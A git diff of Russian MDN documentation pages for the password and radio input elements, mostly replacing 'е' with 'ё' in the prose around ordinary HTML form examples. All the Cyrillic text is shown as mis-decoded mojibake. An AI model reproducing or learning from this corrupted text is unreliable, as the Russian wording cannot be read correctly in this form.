<pre class="brush: html">&lt;label for="pin"&gt;ПИН:&lt;/label&gt;
&lt;input id="pin" type="password" inputmode="numeric" minlength="4"
@@ -144,13 +144,13 @@ translation_of: Web/HTML/Element/input/password
<p>{{EmbedLiveSample("Selecting_text", 600, 40)}}</p>
-<p>Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ {{domxref("HTMLInputElement.selectionStart", "selectionStart")}} ΠΈ {{domxref("HTMLInputElement.selectionEnd", "selectionEnd")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ (ΠΈΠ»ΠΈ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ), ΠΊΠ°ΠΊΠΎΠΉ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ символов Π² элСмСнтС управлСния, ΠΈ {{domxref("HTMLInputElement.selectionDirection", "selectionDirection")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊΠΎΠΉ Π²Ρ‹Π±ΠΎΡ€ направлСния ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ΅Π» (ΠΈΠ»ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ Π² зависимости ΠΎΡ‚ вашСй ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡ‹, см. Π΅Π³ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΡŽ для объяснСния) , Однако, учитывая, Ρ‡Ρ‚ΠΎ тСкст Π·Π°Ρ‚Π΅Π½Π΅Π½, ΠΈΡ… ΠΏΠΎΠ»Π΅Π·Π½ΠΎΡΡ‚ΡŒ нСсколько ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π°.</p>
+<p>Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ {{domxref("HTMLInputElement.selectionStart", "selectionStart")}} ΠΈ {{domxref("HTMLInputElement.selectionEnd", "selectionEnd")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ (ΠΈΠ»ΠΈ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ), ΠΊΠ°ΠΊΠΎΠΉ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ символов Π² элСмСнтС управлСния, ΠΈ {{domxref("HTMLInputElement.selectionDirection", "selectionDirection")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊΠΎΠΉ Π²Ρ‹Π±ΠΎΡ€ направлСния ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΡ‘Π» (ΠΈΠ»ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ Π² зависимости ΠΎΡ‚ вашСй ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡ‹, см. Π΅Π³ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΡŽ для объяснСния) , Однако, учитывая, Ρ‡Ρ‚ΠΎ тСкст Π·Π°Ρ‚Π΅Π½Ρ‘Π½, ΠΈΡ… ΠΏΠΎΠ»Π΅Π·Π½ΠΎΡΡ‚ΡŒ нСсколько ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π°.</p>
<h2 id="Валидация">Валидация</h2>
-<p>Если вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ ограничСния ΠΏΠΎ Π½Π°Π±ΠΎΡ€Ρƒ символов ΠΈΠ»ΠΈ Π»ΡŽΠ±Ρ‹Π΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ трСбования для фактичСского содСрТимого Π²Π²Π΅Π΄Π΅Π½Π½ΠΎΠ³ΠΎ пароля, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{htmlattrxref("pattern", "input")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ рСгулярноС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ автоматичСски Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ваши ΠΏΠ°Ρ€ΠΎΠ»ΠΈ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‚ этим трСбованиям.</p>
+<p>Если вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ ограничСния ΠΏΠΎ Π½Π°Π±ΠΎΡ€Ρƒ символов ΠΈΠ»ΠΈ Π»ΡŽΠ±Ρ‹Π΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ трСбования для фактичСского содСрТимого Π²Π²Π΅Π΄Ρ‘Π½Π½ΠΎΠ³ΠΎ пароля, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{htmlattrxref("pattern", "input")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ рСгулярноС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ автоматичСски Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ваши ΠΏΠ°Ρ€ΠΎΠ»ΠΈ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‚ этим трСбованиям.</p>
-<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ допустимы Ρ‚ΠΎΠ»ΡŒΠΊΠΎ значСния, состоящиС ΠΊΠ°ΠΊ ΠΌΠΈΠ½ΠΈΠΌΡƒΠΌ ΠΈΠ· Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅Ρ… ΠΈ Π½Π΅ Π±ΠΎΠ»Π΅Π΅ восьми ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹Ρ… Ρ†ΠΈΡ„Ρ€.</p>
+<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ допустимы Ρ‚ΠΎΠ»ΡŒΠΊΠΎ значСния, состоящиС ΠΊΠ°ΠΊ ΠΌΠΈΠ½ΠΈΠΌΡƒΠΌ ΠΈΠ· Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘Ρ… ΠΈ Π½Π΅ Π±ΠΎΠ»Π΅Π΅ восьми ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹Ρ… Ρ†ΠΈΡ„Ρ€.</p>
<div id="Validation_sample1">
<pre class="brush: html">&lt;label for="hexId"&gt;Hex ID:&lt;/label&gt;
@@ -163,7 +163,7 @@ translation_of: Web/HTML/Element/input/password
<dl>
<dt>{{htmlattrdef("disabled")}}</dt>
<dd>
- <p>Π­Ρ‚ΠΎΡ‚ Boolean Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»Π΅ пароля нСдоступно для взаимодСйствия. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹Π΅ значСния ΠΏΠΎΠ»Π΅ΠΉ Π½Π΅ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ΡΡ с Ρ„ΠΎΡ€ΠΌΠΎΠΉ.</p>
+ <p>Π­Ρ‚ΠΎΡ‚ Boolean Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»Π΅ пароля нСдоступно для взаимодСйствия. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹Π΅ значСния ΠΏΠΎΠ»Π΅ΠΉ Π½Π΅ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ΡΡ с Ρ„ΠΎΡ€ΠΌΠΎΠΉ.</p>
</dd>
</dl>
@@ -171,7 +171,7 @@ translation_of: Web/HTML/Element/input/password
<h3 id="Запрос_Π½ΠΎΠΌΠ΅Ρ€Π°_ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ_страхования">Запрос Π½ΠΎΠΌΠ΅Ρ€Π° ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ страхования</h3>
-<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ принимаСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Π²ΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ соотвСтствуСт Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρƒ <a href="https://en.wikipedia.org/wiki/Social_Security_number#Structure">Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ Π½ΠΎΠΌΠ΅Ρ€Π° ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ страхования Π‘ΠΎΠ΅Π΄ΠΈΠ½Π΅Π½Π½Ρ‹Ρ… Π¨Ρ‚Π°Ρ‚ΠΎΠ²</a>. Π­Ρ‚ΠΈ Ρ†ΠΈΡ„Ρ€Ρ‹, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ для Ρ†Π΅Π»Π΅ΠΉ налогооблоТСния ΠΈ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ Π² БША, прСдставлСны Π² Ρ„ΠΎΡ€ΠΌΠ΅ Β«123-45-6789Β». Π’Π°ΠΊΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ ΠΏΡ€Π°Π²ΠΈΠ»Π°, для ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… допустимы значСния Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π³Ρ€ΡƒΠΏΠΏΠ΅.</p>
+<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ принимаСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Π²ΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ соотвСтствуСт Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρƒ <a href="https://en.wikipedia.org/wiki/Social_Security_number#Structure">Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ Π½ΠΎΠΌΠ΅Ρ€Π° ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ страхования Π‘ΠΎΠ΅Π΄ΠΈΠ½Ρ‘Π½Π½Ρ‹Ρ… Π¨Ρ‚Π°Ρ‚ΠΎΠ²</a>. Π­Ρ‚ΠΈ Ρ†ΠΈΡ„Ρ€Ρ‹, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ для Ρ†Π΅Π»Π΅ΠΉ налогооблоТСния ΠΈ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ Π² БША, прСдставлСны Π² Ρ„ΠΎΡ€ΠΌΠ΅ Β«123-45-6789Β». Π’Π°ΠΊΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ ΠΏΡ€Π°Π²ΠΈΠ»Π°, для ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… допустимы значСния Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π³Ρ€ΡƒΠΏΠΏΠ΅.</p>
<h4 id="HTML_2">HTML</h4>
@@ -183,7 +183,7 @@ translation_of: Web/HTML/Element/input/password
&lt;label for="ssn"&gt;Value:&lt;/label&gt;
&lt;span id="current"&gt;&lt;/span&gt;</pre>
-<p>Π—Π΄Π΅ΡΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ {{htmlattrxref("pattern", "input")}} , ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΠ²Π°Π΅Ρ‚ Π²Π²Π΅Π΄Π΅Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ строками, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΌΠΈ Π½ΠΎΠΌΠ΅Ρ€Π° ΡŽΡ€ΠΈΠ΄ΠΈΡ‡Π΅ΡΠΊΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ Π‘ΠΎΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΉ Π·Π°Ρ‰ΠΈΡ‚Ρ‹. ΠžΡ‡Π΅Π²ΠΈΠ΄Π½ΠΎ, Ρ‡Ρ‚ΠΎ это рСгулярноС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ SSN, Π½ΠΎ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚, Ρ‡Ρ‚ΠΎ число ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π΅Π΄ΠΈΠ½Ρ‹ΠΌ; ΠΎΠ½ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΈΠ·Π±Π΅Π³Π°Π΅Ρ‚ нСдопустимых Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΎΠ½ позволяСт Ρ€Π°Π·Π΄Π΅Π»ΡΡ‚ΡŒ Ρ‚Ρ€ΠΈ Π³Ρ€ΡƒΠΏΠΏΡ‹ Ρ†ΠΈΡ„Ρ€ ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠΌ, Ρ‚ΠΈΡ€Π΅ ("-") ΠΈΠ»ΠΈ Π½ΠΈΡ‡Π΅ΠΌ.</p>
+<p>Π—Π΄Π΅ΡΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ {{htmlattrxref("pattern", "input")}} , ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΠ²Π°Π΅Ρ‚ Π²Π²Π΅Π΄Ρ‘Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ строками, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΌΠΈ Π½ΠΎΠΌΠ΅Ρ€Π° ΡŽΡ€ΠΈΠ΄ΠΈΡ‡Π΅ΡΠΊΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ Π‘ΠΎΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΉ Π·Π°Ρ‰ΠΈΡ‚Ρ‹. ΠžΡ‡Π΅Π²ΠΈΠ΄Π½ΠΎ, Ρ‡Ρ‚ΠΎ это рСгулярноС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ SSN, Π½ΠΎ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚, Ρ‡Ρ‚ΠΎ число ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π΅Π΄ΠΈΠ½Ρ‹ΠΌ; ΠΎΠ½ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΈΠ·Π±Π΅Π³Π°Π΅Ρ‚ нСдопустимых Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΎΠ½ позволяСт Ρ€Π°Π·Π΄Π΅Π»ΡΡ‚ΡŒ Ρ‚Ρ€ΠΈ Π³Ρ€ΡƒΠΏΠΏΡ‹ Ρ†ΠΈΡ„Ρ€ ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠΌ, Ρ‚ΠΈΡ€Π΅ ("-") ΠΈΠ»ΠΈ Π½ΠΈΡ‡Π΅ΠΌ.</p>
<p>Π’ {{htmlattrxref("inputmode", "input")}} установлСно Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>"number"</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ±ΡƒΠ΄ΠΈΡ‚ΡŒ устройства с Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹ΠΌΠΈ ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Π°ΠΌΠΈ ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒΡΡ Π½Π° ΠΌΠ°ΠΊΠ΅Ρ‚ Ρ†ΠΈΡ„Ρ€ΠΎΠ²ΠΎΠΉ ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹ для облСгчСния Π²Π²ΠΎΠ΄Π°. Для Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² {{htmlattrxref("minlength", "input")}} ΠΈ {{htmlattrxref("maxlength", "input")}} установлСно Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ 9 ΠΈ 12 соотвСтствСнно, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π»ΠΎΡΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π±Ρ‹Π»ΠΎ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅ дСвяти ΠΈ Π½Π΅ Π±ΠΎΠ»Π΅Π΅ 12 символов (ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Π½Π΅ раздСляСт символы ΠΌΠ΅ΠΆΠ΄Ρƒ Π³Ρ€ΡƒΠΏΠΏΠ°ΠΌΠΈ Ρ†ΠΈΡ„Ρ€ ΠΈ послСдними с Π½ΠΈΠΌΠΈ). Атрибут {{htmlattrxref("required", "input")}} ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для указания Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ этот элСмСнт управлСния Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΠΌΠ΅Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. НаконСц, {{htmlattrxref("autocomplete", "input")}} установлСн <code>"off"</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ ΠΏΠΎΠΏΡ‹Ρ‚ΠΎΠΊ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΏΠ°Ρ€ΠΎΠ»ΠΈ ΠΌΠ΅Π½Π΅Π΄ΠΆΠ΅Ρ€ΠΎΠ² ΠΏΠ°Ρ€ΠΎΠ»Π΅ΠΉ.</p>
diff --git a/files/ru/web/html/element/input/radio/index.html b/files/ru/web/html/element/input/radio/index.html
index 76bd790484..00cf8262fe 100644
--- a/files/ru/web/html/element/input/radio/index.html
+++ b/files/ru/web/html/element/input/radio/index.html
@@ -23,7 +23,7 @@ translation_of: Web/HTML/Element/input/radio
<p>{{ EmbedLiveSample('Basic_example', 600, 30) }}</p>
-<p>Π˜ΡΡ…ΠΎΠ΄Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ ΠΊ Π΄Π°Π½Π½ΠΎΠΌΡƒ ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠΌΡƒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π½Π° GitHub Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΈ. Если Π²Ρ‹ ΠΆΠ΅Π»Π°Π΅Ρ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹Ρ… ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ², Ρ‚ΠΎ склонируйтС ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹ΠΉ Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΉ <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a>ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос Π½Π° Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ сдСланных Π²Π°ΠΌΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ Β«pull requestΒ».</p>
+<p>Π˜ΡΡ…ΠΎΠ΄Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ ΠΊ Π΄Π°Π½Π½ΠΎΠΌΡƒ ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠΌΡƒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π½Π° GitHub Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΈ. Если Π²Ρ‹ ΠΆΠ΅Π»Π°Π΅Ρ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹Ρ… ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ², Ρ‚ΠΎ склонируйтС ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹ΠΉ Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΉ <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a>ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос Π½Π° Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ сдСланных Π²Π°ΠΌΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ Β«pull requestΒ».</p>
<p>Π Π°Π΄ΠΈΠΎΠΊΠ½ΠΎΠΏΠΊΠΈ Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ Ρ‚Π°ΠΊ ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ выглядят ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΡŽΡ‚ Π² схоТСй ΠΌΠ°Π½Π΅Ρ€Π΅ с ΠΊΠ½ΠΎΠΏΠΊΠ°ΠΌΠΈ старомодных Ρ€Π°Π΄ΠΈΠΎΠΏΡ€ΠΈΡ‘ΠΌΠ½ΠΈΠΊΠΎΠ², ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Ρ… прСдставлСнному Π½ΠΈΠΆΠ΅.Β </p>
@@ -155,7 +155,7 @@ form.addEventListener("submit", function(event) {
<h2 id="ИспользованиС_Ρ€Π°Π΄ΠΈΠΎΠΊΠ½ΠΎΠΏΠΎΠΊ">ИспользованиС Ρ€Π°Π΄ΠΈΠΎΠΊΠ½ΠΎΠΏΠΎΠΊ</h2>
-<p>ΠœΡ‹ ΡƒΠΆΠ΅ освСтили основныС ΠΌΠΎΠΌΠ΅Π½Ρ‚Ρ‹Β Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Ρ€Π°Π΄ΠΈΠΎΠΊΠ½ΠΎΠΏΠΊΠ°ΠΌΠΈ Π²Ρ‹ΡˆΠ΅.Β Π”Π°Π²Π°ΠΉΡ‚Π΅ рассмотрим Π΄Ρ€ΡƒΠ³ΠΈΠ΅ распространСнныС  Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, связанныС с использованиСм Ρ€Π°Π΄ΠΈΠΎΠΊΠ½ΠΎΠΏΠΎΠΊ, ΠΎ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π’Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π·Π½Π°Ρ‚ΡŒ.</p>
+<p>ΠœΡ‹ ΡƒΠΆΠ΅ освСтили основныС ΠΌΠΎΠΌΠ΅Π½Ρ‚Ρ‹Β Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Ρ€Π°Π΄ΠΈΠΎΠΊΠ½ΠΎΠΏΠΊΠ°ΠΌΠΈ Π²Ρ‹ΡˆΠ΅.Β Π”Π°Π²Π°ΠΉΡ‚Π΅ рассмотрим Π΄Ρ€ΡƒΠ³ΠΈΠ΅ распространённыС  Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, связанныС с использованиСм Ρ€Π°Π΄ΠΈΠΎΠΊΠ½ΠΎΠΏΠΎΠΊ, ΠΎ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π’Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π·Π½Π°Ρ‚ΡŒ.</p>
<h3 id="Π’Ρ‹Π±ΠΎΡ€_Ρ€Π°Π΄ΠΈΠΎΠΊΠ½ΠΎΠΏΠΊΠΈ_ΠΏΠΎ_ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ">Π’Ρ‹Π±ΠΎΡ€ Ρ€Π°Π΄ΠΈΠΎΠΊΠ½ΠΎΠΏΠΊΠΈ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ</h3>
diff --git a/files/ru/web/html/element/input/range/index.html b/files/ru/web/html/element/input/range/index.html
index fc14501602..e4f349c376 100644
--- a/files/ru/web/html/element/input/range/index.html
+++ b/files/ru/web/html/element/input/range/index.html
@@ -46,7 +46,7 @@ translation_of: Web/HTML/Element/input/range
